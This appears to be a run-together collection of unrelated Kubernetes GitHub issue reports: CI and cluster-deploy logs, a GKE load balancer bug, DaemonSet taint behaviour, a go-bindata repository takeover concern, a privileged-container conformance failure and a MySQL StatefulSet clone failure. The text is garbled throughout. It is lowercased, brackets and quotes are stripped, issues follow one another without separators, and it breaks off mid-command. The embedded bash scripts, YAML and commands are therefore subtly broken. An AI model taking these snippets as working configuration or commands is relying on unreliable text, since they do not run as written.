11:45:45.961  make:      deploy-cluster  error 2\r w0712 11:45:45.962  2018/07/12 11:45:45 process.go:155: step 'make -c /workspace/kubernetes-anywhere wait_for_kubeconfig=y deploy' finished in 7m2.884297899s\r    \r \r ref: http://k8s-testgrid.appspot.com/sig-release-1.11-blocking ci-gce-kubeadm-1.11\r \r cc/ @timothysc @luxas

    \r root@kube-dev:~/gowork/src/k8s.io/kubernetes  cluster/kube-up.sh\r ... starting cluster in us-central1-b using provider gce\r ... calling verify-prereqs\r ... calling verify-kube-binaries\r ... calling verify-release-tars\r ... calling kube-up\r project: kube-e2e-benchmark\r network project: kube-e2e-benchmark\r zone: us-central1-b\r +++ staging server tars to google storage: gs://kubernetes-staging-30753d2f01/kubernetes-devel\r +++ kubernetes-server-linux-amd64.tar.gz uploaded earlier, cloud and local file md5 match  md5 = 75a28c758e858f920bc293da4d3847ed \r +++ kubernetes-manifests.tar.gz uploaded earlier, cloud and local file md5 match  md5 = 14bdc7d9f2e61c640054e9bdf7c1b60c \r instance_groups=kubernetes-minion-group\r node_names=kubernetes-minion-group-588x kubernetes-minion-group-65r8 kubernetes-minion-group-92q9 kubernetes-minion-group-hgck kubernetes-minion-group-sxlz\r looking for already existing resources\r managed instance groups kubernetes-minion-group found.\r would you like to shut down the old cluster  call kube-down ?  y/n  y\r ... calling kube-down\r instance_groups=kubernetes-minion-group\r node_names=kubernetes-minion-group-588x kubernetes-minion-group-65r8 kubernetes-minion-group-92q9 kubernetes-minion-group-hgck kubernetes-minion-group-sxlz\r bringing down cluster\r deleting managed instance group...\r ...........................deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/zones/us-central1-b/instancegroupmanagers/kubernetes-minion-group .\r done.\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/instancetemplates/kubernetes-minion-template .\r warning: permanently added 'compute.871849956420505484'  rsa  to the list of known hosts.\r permission denied  publickey .\r error:  gcloud.compute.ssh   /usr/bin/ssh  exited with return code  255 .\r removing etcd replica, name: kubernetes-master, port: 2379, result: 255\r permission denied  publickey .\r error:  gcloud.compute.ssh   /usr/bin/ssh  exited with return code  255 .\r removing etcd replica, name: kubernetes-master, port: 4002, result: 255\r updated  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/zones/us-central1-b/instances/kubernetes-master .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/zones/us-central1-b/instances/kubernetes-master .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/firewalls/kubernetes-master-https .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/firewalls/kubernetes-master-etcd .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/firewalls/kubernetes-minion-all .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/regions/us-central1/addresses/kubernetes-master-ip .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/firewalls/kubernetes-default-internal-master .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/firewalls/kubernetes-default-internal-node .\r deleted  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/firewalls/default-default-ssh .\r property \ clusters.kube-e2e-benchmark_kubernetes\  unset.\r property \ users.kube-e2e-benchmark_kubernetes\  unset.\r property \ users.kube-e2e-benchmark_kubernetes-basic-auth\  unset.\r property \ contexts.kube-e2e-benchmark_kubernetes\  unset.\r cleared config for kube-e2e-benchmark_kubernetes from /root/.kube/config\r found existing network default in auto mode.\r creating firewall...\r ..creating firewall...\r ...ip aliases are disabled.\r ..creating firewall...\r .....found subnet for region us-central1 in network default: default\r starting master and configuring firewalls\r ...creating firewall...\r ...........................created  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/global/firewalls/kubernetes-default-internal-master .\r .created  https://www.googleapis.com/compute/v1/projects/kube-e2e-benchmark/zones/us-central1-b/disks/kubernetes-master-pd .\r .done.\r .name                  zone           size_gb  type    status\r kubernetes-master-pd  us-central1-b  20       pd-ssd  ready\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r   \r \r   what happened  :\r i am working with google container engine, sometimes when i delete a service of type loadbalancer and recreate it, it doesn't get a external-ip and status shows as  <pending> . in the google load balancing page i see that a new load balancer for this service is not getting created. when i check the service in gke ui, i see below:\r \r  error deleting load balancer  will retry : gce 200 - resource_in_use_by_another_resource: the http_health_check resource 'projects/npa-staging/global/httphealthchecks/k8s-ee7a9eb79312dec5-node' is already being used by 'projects/npa-staging/regions/europe-west1/targetpools/a89516e9a8b4a11e8920442010af0005 \r \r the mentioned resource  a89516e9a8b4a11e8920442010af0005  is being used by service resource of nginx ingress controller. this service was  pointing to another nginx ingress controller service before i deleted it. i've deleted the ingress resources associated already.\r \r but when i create service with another name, it works fine for some reason, a new load balancer is created. below is my service yaml:\r \r    yaml\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     app: blog\r   name: test-blog-kris\r   namespace: default\r spec:\r   externaltrafficpolicy: cluster\r   ports:\r   - name: blog-port\r     port: 2368\r     protocol: tcp\r     targetport: blog-port\r   selector:\r     app: blog\r   sessionaffinity: none\r   type: loadbalancer\r    \r this is what i get when i describe the service:\r \r    \r name:                     test2-ghost\r namespace:                default\r labels:                   app=ghost\r annotations:              <none>\r selector:                 app=ghost\r type:                     loadbalancer\r ip:                       10.43.255.72\r port:                     ghost-port  2368/tcp\r targetport:               ghost-port/tcp\r nodeport:                 ghost-port  30487/tcp\r endpoints:                <none>\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r \r \r \r   what you expected to happen  :\r \r the service should be created with same name. this is the response i get when i change the service name:\r \r    \r name:                     test-ghost\r namespace:                default\r labels:                   app=ghost\r annotations:              <none>\r selector:                 app=ghost\r type:                     loadbalancer\r ip:                       10.43.252.109\r loadbalancer ingress:     35.240.59.243\r port:                     ghost-port  2368/tcp\r targetport:               ghost-port/tcp\r nodeport:                 ghost-port  31777/tcp\r endpoints:                10.40.1.15:2368\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a gke cluster and create a service and an app.\r 2. associate the service with an nginx controller.\r 3. delete the service and ingress resources. delete the pods of app.\r 4. create same service again and same app.\r 5. it may happen that the service will not get created.\r \r   anything else we need to know?  :\r this does not happen always. but i've come accross it couple of times.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10.5-gke.0\r \r - cloud provider or hardware configuration:\r google container engine\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r  \r 

when i do  kubectl get foo/bar -o yaml , i see things like this:      apiversion: v1beta3 foo: blah     <------------- why is this before kind and metadata? kind: bar metadata:   creationtimestamp: 2015-06-24t21:09:17z     name: myregistrykey  <----- why isn't this first because it is the most important metadata.   namespace: default   resourceversion: \ 1497\    selflink: /api/v1beta3/namespaces/default/secrets/myregistrykey   uid: 46703fde-1ab5-11e5-b558-42010af0cf71 zlist:   - property: foo        name: bar   <---------- why isn't name always first?      it appears that tags are sorted alphabetically. i'd rather always see fields that are in all objects at the top, so  apiversion ,  kind , and  metadata  should come before any kind-specific fields.  in the above example, field  foo  comes before  metadata  .  and i'd rather see  name  as the first property in a list for which name is the merge key.  maybe this is just my opinion.

i'm not sure if this is desired behaviour or not but currently if the following scenario happens 1. iscsid.conf has node.startup set to automatic  default value  2. kubelet is running a pod with a mapped iscsi volume 3. the node reboots/crashes etc 4. kubescheduler reschedules the pod to another node 5. the node comes up again and will try to re open the session to the target that the pod was using. this can either cause annoyance or worst case data corruption unless the iscsi target is set to reject more than one session per target  if we instead set the following when login into the target the session won't be reopened iscsiadm -m node --targetname proper_target_name -p target_ip:port -o update -n node.startup -v manual

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-serial-gce-e2e-ci/1468/  failed:  k8s.io  garbagecollect  serial  garbage collection test: many pods with many restarting containers should eventually garbage collect containers when we exceed the number of dead containers per container {e2enode suite}      /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:254 timed out after 120.000s. expected     < errors.errorstring | 0xc820918eb0>: {         s: \  /k8s_gc-test-container-many-containers-many-restarts-three3.bbf8532f_gc-test-pod-many-containers-many-restarts-three_e2e-tests-garbage-collect-test-5ie9q_a005e00f-ac19-11e6-8841-42010a800018_6ac4052c  containers still remain\ ,     } to be nil /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/garbage_collector_test.go:248

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1+82450d0\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ not a git tree\ , builddate:\ 2016-12-14t04:09:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   os    e.g. from /etc/os-release :\r \r    \r name=boot2docker\r version=1.11.1\r id=boot2docker\r id_like=tcl\r version_id=1.11.1\r pretty_name=\ boot2docker 1.11.1  tcl 7.1 ; master : 901340f - fri jul  1 22:52:19 utc 2016\ \r ansi_color=\ 1;34\ \r home_url=\ http://boot2docker.io\ \r support_url=\ https://github.com/boot2docker/boot2docker\ \r bug_report_url=\ https://github.com/boot2docker/boot2docker/issues\ \r    \r \r -   kernel    e.g.  uname -a  : linux minikube 4.4.14-boot2docker  1 smp fri jul 1 21:46:36 utc 2016 x86_64 gnu/linux\r -   install tools  : minikube\r \r \r   what happened  :\r \r i'm using the new  --dry-run  flag to validate my json/yaml as a test step. i created an invalid yaml document by assigning the  value  inside deployment's template container's env to a numeric value. the dry run completed successfully.\r \r   what you expected to happen  :\r \r the dry run should fail because the container spec is invalid.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r create a deployment with a template spec with an invalid container env:\r \r    \r - name: foo\r   value: 234982349823748   use a numeric value\r    \r \r next:  kubectl create --dry-run=true --validate=true -f test.yaml

running  hack/update-munge-docs.sh  on master yields changes to almost every file under  docs \r \r the changes are all like this:\r    diff\r diff --git a/docs/design/extending-api.md b/docs/design/extending-api.md\r index 3a53c05..55232d2 100644\r --- a/docs/design/extending-api.md\r +++ b/docs/design/extending-api.md\r @@ -1 +1,6 @@\r -this file has moved to  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/extending-api.md  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/extending-api.md \r +this file has moved to  /kubernetes/community/blob/master/contributors/design-proposals/extending-api.md  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/extending-api.md \r +\r +\r +<!-- begin munge: generated_analytics -->\r + ! analytics  https://kubernetes-site.appspot.com/ua-36037335-10/github/docs/design/extending-api.md?pixel    \r +<!-- end munge: generated_analytics -->\r    \r \r we either need to update these files or, if the changes are not desired, change  hack/update-munge-docs.sh   i'm not sure which.\r \r master is currently  v1.6.0-alpha.0-3473-g96471e5 \r

kubernetes version    use  kubectl version  :\r v1.7.0-alpha.0.661+01bfbb5fa04621-dirty\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r 1. add taint to node\r  root@dhcp-140-98 dma   kubectl taint node mynode role=master:noschedule\r node \ mynode\  tainted\r  root@dhcp-140-98 dma   kc describe no mynode|grep -i taints\r taints:\t\t\trole=master:noschedule\r \r 2. create ds and check ds status\r  root@dhcp-140-98 dma   kubectl create -f https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/daemonset/daemonset.yaml\r daemonset \ hello-daemonset\  created\r  root@dhcp-140-98 dma   kubectl get ds\r name              desired   current   ready     node-selector   age\r hello-daemonset   0         0         0         <none>          5s\r \r 3. remove the taint from node\r  root@dhcp-140-98 dma   kubectl taint node mynode role:noschedule-\r node \ mynode\  tainted\r \r 4. check ds status again\r  root@dhcp-140-98 dma   kubectl get ds\r name              desired   current   ready     node-selector   age\r hello-daemonset   0         0         0         <none>          3m\r  root@dhcp-140-98 kubernetes   oc get ds\r name              desired   current   ready     node-selector   age\r hello-daemonset   0         0         0         <none>          9m\r \r    \r \r   what you expected to happen  :\r 1. ds should add pod to the node after remove the taint from node.\r \r   anything else we need to know  :\r \r

it was noted on twitter  https://twitter.com/francesc/status/961249107020001280  that the author of go-bindata  https://github.com/jteeuwen/go-bindata  deleted their account, and someone new created an account under the same name to re-prop up the repo.\r \r we should probably review this as the status of this library  currently vendored in k/k , and if we want to keep using it, fork it, etc.\r \r https://github.com/kubernetes/kubernetes/commits/master/vendor/github.com/jteeuwen/go-bindata\r \r cc: @sttts @thockin @mikedanese

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r there are many use cases where rather than relying on the single service account associated with each daemonset or statefulset, the application requires identity for each pod.\r \r one specific use case is the local volume external provisioner, which manages the creation and deletion of persistentvolumes for local storage. it currently runs as a daemonset, and each provisioner pod has to modify pvs associated with local volumes on the node it's scheduled on. the problem is every pod has permissions to modify every pv, so if a single node gets compromised, all local storage pvs can get corrupted. because there is no notion of per-pod identity, there isn't a mechanism today to have different access restrictions for each pod. once per-pod identity is available, pv restrictions could possibly be implemented using an external admission webhook and pv provisioner annotations.\r \r the existing provisioner is  here  https://github.com/kubernetes-incubator/external-storage/tree/master/local-volume/provisioner design .  this design doc  https://github.com/kubernetes/community/pull/1105  discusses different ways to work around the lack of per-pod identity.  this section  https://github.com/verult/community/blob/1d98d3f0243ae4ff0f85c48f3c9e46feebd25499/contributors/design-proposals/local-pv-provisioner.md security-requirements  is a summary of the security requirements.\r \r 

- do we really want to mandate that to conform, a provider should allow privileged containers?\r - is this by design or by an oversight?\r \r    \r  sig-storage  hostpath\r   should give a volume the correct mode  conformance \r   /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:674\r  beforeeach   sig-storage  hostpath\r   /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:141\r step: creating a kubernetes client\r feb 16 17:21:37.854: info: >>> kubeconfig: /var/run/kubernetes/admin.kubeconfig\r step: building a namespace api object\r step: waiting for a default service account to be provisioned in namespace\r  beforeeach   sig-storage  hostpath\r   /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:37\r  it  should give a volume the correct mode  conformance \r   /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:674\r step: creating a pod to test hostpath mode\r feb 16 17:21:38.116: info: unexpected error occurred: pod \ pod-host-path-test\  is invalid:  spec.containers 0 .securitycontext.privileged: forbidden: disallowed by cluster policy, spec.containers 1 .securitycontext.privileged: forbidden: disallowed by cluster policy \r  aftereach   sig-storage  hostpath\r   /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:142\r step: collecting events from namespace \ e2e-tests-hostpath-76xmj\ .\r step: found 0 events.\r feb 16 17:21:38.124: info: pod                        node      phase    grace  conditions\r feb 16 17:21:38.124: info: kube-dns-6844cfbdfb-xxgdl  testvm-1  running          {initialized true 0001-01-01 00:00:00 +0000 utc 2018-02-16 17:17:31 +0000 utc  } {ready true 0001-01-01 00:00:00 +0000 utc 2018-02-16 17:17:52 +0000 utc  } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2018-02-16 17:17:31 +0000 utc  } \r feb 16 17:21:38.124: info:\r feb 16 17:21:38.126: info:\r logging node info for node testvm-1\r feb 16 17:21:38.128: info: node info: &node{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:testvm-1,generatename:,namespace:,selflink:/api/v1/nodes/testvm-1,uid:3f04bb21-133d-11e8-be0d-fa163e54f581,resourceversion:944,generation:0,creationtimestamp:2018-02-16 17:17:20 +0000 utc,deletiontimestamp:<nil>,deletiongraceperiodseconds:nil,labels:map string string{beta.kubernetes.io/arch: amd64,beta.kubernetes.io/instance-type: 2,beta.kubernetes.io/os: linux,failure-domain.beta.kubernetes.io/region: regionone,kubernetes.io/hostname: testvm-1,},annotations:map string string{node.alpha.kubernetes.io/ttl: 0,volumes.kubernetes.io/controller-managed-attach-detach: true,volumes.kubernetes.io/keep-terminated-pod-volumes: true,},ownerreferences:  ,finalizers:  ,clustername:,initializers:nil,},spec:nodespec{podcidr:,externalid:testvm-1,providerid:testvm-1,unschedulable:false,taints:  ,configsource:nil,},status:nodestatus{capacity:resourcelist{cpu: {{8 0} {<nil>} 8 decimalsi},hugepages-2mi: {{0 0} {<nil>} 0 decimalsi},memory: {{8370475008 0} {<nil>} 8174292ki binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},allocatable:resourcelist{cpu: {{8 0} {<nil>} 8 decimalsi},hugepages-2mi: {{0 0} {<nil>} 0 decimalsi},memory: {{8265617408 0} {<nil>} 8071892ki binarysi},pods: {{110 0} {<nil>} 110 decimalsi},},phase:,conditions: {outofdisk false 2018-02-16 17:21:34 +0000 utc 2018-02-16 17:17:20 +0000 utc kubelethassufficientdisk kubelet has sufficient disk space available} {memorypressure false 2018-02-16 17:21:34 +0000 utc 2018-02-16 17:17:20 +0000 utc kubelethassufficientmemory kubelet has sufficient memory available} {diskpressure false 2018-02-16 17:21:34 +0000 utc 2018-02-16 17:17:20 +0000 utc kubelethasnodiskpressure kubelet has no disk pressure} {ready true 2018-02-16 17:21:34 +0000 utc 2018-02-16 17:17:31 +0000 utc kubeletready kubelet is posting ready status. apparmor enabled} ,addresses: {internalip 10.0.0.10} {externalip 192.168.0.251} ,daemonendpoints:nodedaemonendpoints{kubeletendpoint:daemonendpoint{port:10250,},},nodeinfo:nodesysteminfo{machineid:8145113a66fc43208eae779221a07129,systemuuid:8145113a-66fc-4320-8eae-779221a07129,bootid:477a8066-133b-4fc0-a07d-06e28aeee2c7,kernelversion:4.4.0-112-generic,osimage:ubuntu 16.04.3 lts,containerruntimeversion:docker://17.12.0-ce,kubeletversion:v1.10.0-beta.0.71+cb369d90cd9cbb-dirty,kubeproxyversion:v1.10.0-beta.0.71+cb369d90cd9cbb-dirty,operatingsystem:linux,architecture:amd64,},images: { k8s.gcr.io/nginx-slim-amd64@sha256:6654db6d4028756062edac466454ee5c9cf9b20ef79e35a81e3c840031eb1e2b k8s.gcr.io/nginx-slim-amd64:0.20  103591055} { k8s.gcr.io/k8s-dns-kube-dns-amd64@sha256:6d8e0da4fb46e9ea2034a3f4cab0e095618a2ead78720c12e791342738e5f85d k8s.gcr.io/k8s-dns-kube-dns-amd64:1.14.8  50456751} { k8s.gcr.io/k8s-dns-sidecar-amd64@sha256:23df717980b4aa08d2da6c4cfa327f1b730d92ec9cf740959d2d5911830d82fb k8s.gcr.io/k8s-dns-sidecar-amd64:1.14.8  42210862} { k8s.gcr.io/k8s-dns-dnsmasq-nanny-amd64@sha256:93c827f018cf3322f1ff2aa80324a0306048b0a69bc274e423071fb0d2d29d8b k8s.gcr.io/k8s-dns-dnsmasq-nanny-amd64:1.14.8  40951779} { gcr.io/kubernetes-e2e-test-images/mounttest-amd64@sha256:dc4e2dcfbde16249c4662de673295d00778577bc2e2ca7013a1b85d4f47398ca gcr.io/kubernetes-e2e-test-images/mounttest-amd64:1.0  1450451} { gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64@sha256:dda6519a95c934b46731a6b1492fed1b48ccc6d4aed4b754a46d7de8063a3e2b gcr.io/kubernetes-e2e-test-images/mounttest-user-amd64:1.0  1450451} { busybox@sha256:1669a6aa7350e1cdd28f972ddad5aceba2912f589f19a090ac75b7083da748db busybox:latest  1146369} { k8s.gcr.io/pause-amd64@sha256:59eec8837a4d942cc19a52b8c09ea75121acc38114a2c68b98983ce9356b8610 k8s.gcr.io/pause-amd64:3.1  742472} ,volumesinuse:  ,volumesattached:  ,},}\r feb 16 17:21:38.128: info:\r logging kubelet events for node testvm-1\r feb 16 17:21:38.131: info:\r logging pods the kubelet thinks is on node testvm-1\r feb 16 17:21:38.137: info: kube-dns-6844cfbdfb-xxgdl started at 2018-02-16 17:17:31 +0000 utc  0+3 container statuses recorded \r feb 16 17:21:38.138: info: \tcontainer dnsmasq ready: true, restart count 0\r feb 16 17:21:38.138: info: \tcontainer kubedns ready: true, restart count 0\r feb 16 17:21:38.138: info: \tcontainer sidecar ready: true, restart count 0\r w0216 17:21:38.139769   30941 metrics_grabber.go:81  master node is not registered. grabbing metrics from scheduler, controllermanager and clusterautoscaler is disabled.\r feb 16 17:21:38.162: info:\r latency metrics for node testvm-1\r feb 16 17:21:38.162: info: {operation:create method:pod_worker_latency_microseconds quantile:0.9 latency:12.451948s}\r feb 16 17:21:38.162: info: {operation:create method:pod_worker_latency_microseconds quantile:0.5 latency:12.451948s}\r feb 16 17:21:38.162: info: {operation:create method:pod_worker_latency_microseconds quantile:0.99 latency:12.451948s}\r step: dumping a list of prepulled images on each node to file /opt/stack/logs/image-puller.txt\r feb 16 17:21:38.165: info: waiting up to 3m0s for all  but 0  nodes to be ready\r step: destroying namespace \ e2e-tests-hostpath-76xmj\  for this suite.\r feb 16 17:21:44.209: info: waiting up to 30s for server preferred namespaced resources to be successfully discovered\r feb 16 17:21:44.269: info: namespace: e2e-tests-hostpath-76xmj, resource: bindings, ignored listing per whitelist\r feb 16 17:21:44.278: info: namespace e2e-tests-hostpath-76xmj deletion completed in 6.111400667s\r \r • failure  6.424 seconds \r  sig-storage  hostpath\r /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/host_path.go:34\r   should give a volume the correct mode  conformance   it \r   /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:674\r \r   error creating pod\r   expected error:\r       < errors.statuserror | 0xc421a9e5a0>: {\r           errstatus: {\r               typemeta: {kind: \ \ , apiversion: \ \ },\r               listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r               status: \ failure\ ,\r               message: \ pod \\\ pod-host-path-test\\\  is invalid:  spec.containers 0 .securitycontext.privileged: forbidden: disallowed by cluster policy, spec.containers 1 .securitycontext.privileged: forbidden: disallowed by cluster policy \ ,\r               reason: \ invalid\ ,\r               details: {\r                   name: \ pod-host-path-test\ ,\r                   group: \ \ ,\r                   kind: \ pod\ ,\r                   uid: \ \ ,\r                   causes:  \r                       {\r                           type: \ fieldvalueforbidden\ ,\r                           message: \ forbidden: disallowed by cluster policy\ ,\r                           field: \ spec.containers 0 .securitycontext.privileged\ ,\r                       },\r                       {\r                           type: \ fieldvalueforbidden\ ,\r                           message: \ forbidden: disallowed by cluster policy\ ,\r                           field: \ spec.containers 1 .securitycontext.privileged\ ,\r                       },\r                    ,\r                   retryafterseconds: 0,\r               },\r               code: 422,\r           },\r       }\r       pod \ pod-host-path-test\  is invalid:  spec.containers 0 .securitycontext.privileged: forbidden: disallowed by cluster policy, spec.containers 1 .securitycontext.privileged: forbidden: disallowed by cluster policy \r   not to have occurred\r \r   /home/ubuntu/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:76\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r when trying out running a replicated statefulset cluster example on kubernetes site, clone-mysql init container of mysql-1 pod cannot resolve hostname of previous statefulset instance mysql-0.mysql and therefore fails.\r \r kubectl get pods -o wide\r name      ready     status                  restarts   age       ip             node\r mysql-0   2/2       running                 0          32m       192.168.1.12   kubenode1\r mysql-1   0/2       init:crashloopbackoff   10         31m       192.168.3.8    kubenode2\r \r kubectl describe pod mysql-1\r name:           mysql-1\r namespace:      default\r node:           kubenode2/192.168.56.5\r start time:     fri, 09 mar 2018 00:45:59 -0500\r labels:         app=mysql\r                 controller-revision-hash=mysql-84cf766458\r                 statefulset.kubernetes.io/pod-name=mysql-1\r annotations:    <none>\r status:         pending\r ip:             192.168.3.8\r controlled by:  statefulset/mysql\r init containers:\r   init-mysql:\r     container id:  docker://22e5aef4defd684f7886ab20c77f091311b695a220ed1d1f4b5890e8eea83281\r     image:         mysql:5.7\r     image id:      docker-pullable://docker.io/mysql@sha256:227d5c3f54ee3a70c075b1c3013e72781564000d34fc8c7ec5ec353c5b7ef7fa\r     port:          <none>\r     command:\r       bash\r       -c\r       set -ex\r   generate mysql server-id from pod ordinal index.\r     hostname  =~ -  0-9 + $    || exit 1\r ordinal=${bash_rematch 1 }\r echo  mysqld  > /mnt/conf.d/server-id.cnf\r   add an offset to avoid reserved server-id=0 value.\r echo server-id=$  100 + $ordinal   >> /mnt/conf.d/server-id.cnf\r   copy appropriate conf.d files from config-map to emptydir.\r if    $ordinal -eq 0   ; then\r   cp /mnt/config-map/master.cnf /mnt/conf.d/\r else\r   cp /mnt/config-map/slave.cnf /mnt/conf.d/\r fi\r \r     state:          terminated\r       reason:       completed\r       exit code:    0\r       started:      fri, 09 mar 2018 00:46:10 -0500\r       finished:     fri, 09 mar 2018 00:46:10 -0500\r     ready:          true\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /mnt/conf.d from conf  rw \r       /mnt/config-map from config-map  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-nsrnn  ro \r   clone-mysql:\r     container id:  docker://5e8db63fce5c99364162c7102f08394fa04e7c8f6a6a6f38736247a334481b2b\r     image:         gcr.io/google-samples/xtrabackup:1.0\r     image id:      docker-pullable://gcr.io/google-samples/xtrabackup@sha256:29354f70c9d9207e757a1bae6a4cbf2f57a56b18fe5c2b0acc1198a053b24b38\r     port:          <none>\r     command:\r       bash\r       -c\r       set -ex\r   skip the clone if data already exists.\r    -d /var/lib/mysql/mysql    && exit 0\r   skip the clone on master  ordinal index 0 .\r     hostname  =~ -  0-9 + $    || exit 1\r ordinal=${bash_rematch 1 }\r    $ordinal -eq 0    && exit 0\r   clone data from previous peer.\r ncat --recv-only mysql-$  $ordinal-1  .mysql 3307 | xbstream -x -c /var/lib/mysql\r   prepare the backup.\r xtrabackup --prepare --target-dir=/var/lib/mysql\r \r     state:          waiting\r       reason:       crashloopbackoff\r     last state:     terminated\r       reason:       error\r       exit code:    1\r       started:      fri, 09 mar 2018 01:15:46 -0500\r       finished:     fri, 09 mar 2018 01:16:06 -0500\r     ready:          false\r     restart count:  10\r     environment:    <none>\r     mounts:\r       /etc/mysql/conf.d from conf  rw \r       /var/lib/mysql from data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-nsrnn  ro \r containers:\r   mysql:\r     container id:\r     image:          mysql:5.7\r     image id:\r     port:           3306/tcp\r     state:          waiting\r       reason:       podinitializing\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:      200m\r       memory:   256m\r     liveness:   exec  mysqladmin ping  delay=30s timeout=5s period=10s  success=1  failure=3\r     readiness:  exec  mysql -h 127.0.0.1 -e select 1  delay=5s timeout=1s period=2s  success=1  failure=3\r     environment:\r       mysql_allow_empty_password:  1\r     mounts:\r       /etc/mysql/conf.d from conf  rw \r       /var/lib/mysql from data  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-nsrnn  ro \r   xtrabackup:\r     container id:\r     image:         gcr.io/google-samples/xtrabackup:1.0\r     image id:\r     port:          3307/tcp\r     command:\r       bash\r       -c\r       set -ex\r cd /var/lib/mysql\r \r   determine binlog position of cloned data, if any.\r if    -f xtrabackup_slave_info   ; then\r     xtrabackup already generated a partial \ change master to\  query\r     because we're cloning from an existing slave.\r   mv xtrabackup_slave_info change_master_to.sql.in\r     ignore xtrabackup_binlog_info in this case  it's useless .\r   rm -f xtrabackup_binlog_info\r elif    -f xtrabackup_binlog_info   ; then\r     we're cloning directly from master. parse binlog position.\r       cat xtrabackup_binlog_info  =~ ^ . ?   :space:  + . ? $    || exit 1\r   rm xtrabackup_binlog_info\r   echo \ change master to master_log_file='${bash_rematch 1 }',\\\r         master_log_pos=${bash_rematch 2 }\  > change_master_to.sql.in\r fi\r \r   check if we need to complete a clone by starting replication.\r if    -f change_master_to.sql.in   ; then\r   echo \ waiting for mysqld to be ready  accepting connections \ \r   until mysql -h 127.0.0.1 -e \ select 1\ ; do sleep 1; done\r \r   echo \ initializing replication from clone position\ \r     in case of container restart, attempt this at-most-once.\r   mv change_master_to.sql.in change_master_to.sql.orig\r   mysql -h 127.0.0.1 <<eof\r $ <change_master_to.sql.orig ,\r   master_host='mysql-0.mysql',\r   master_user='root',\r   master_password='',\r   master_connect_retry=10;\r start slave;\r eof\r fi\r \r   start a server to send backups when requested by peers.\r exec ncat --listen 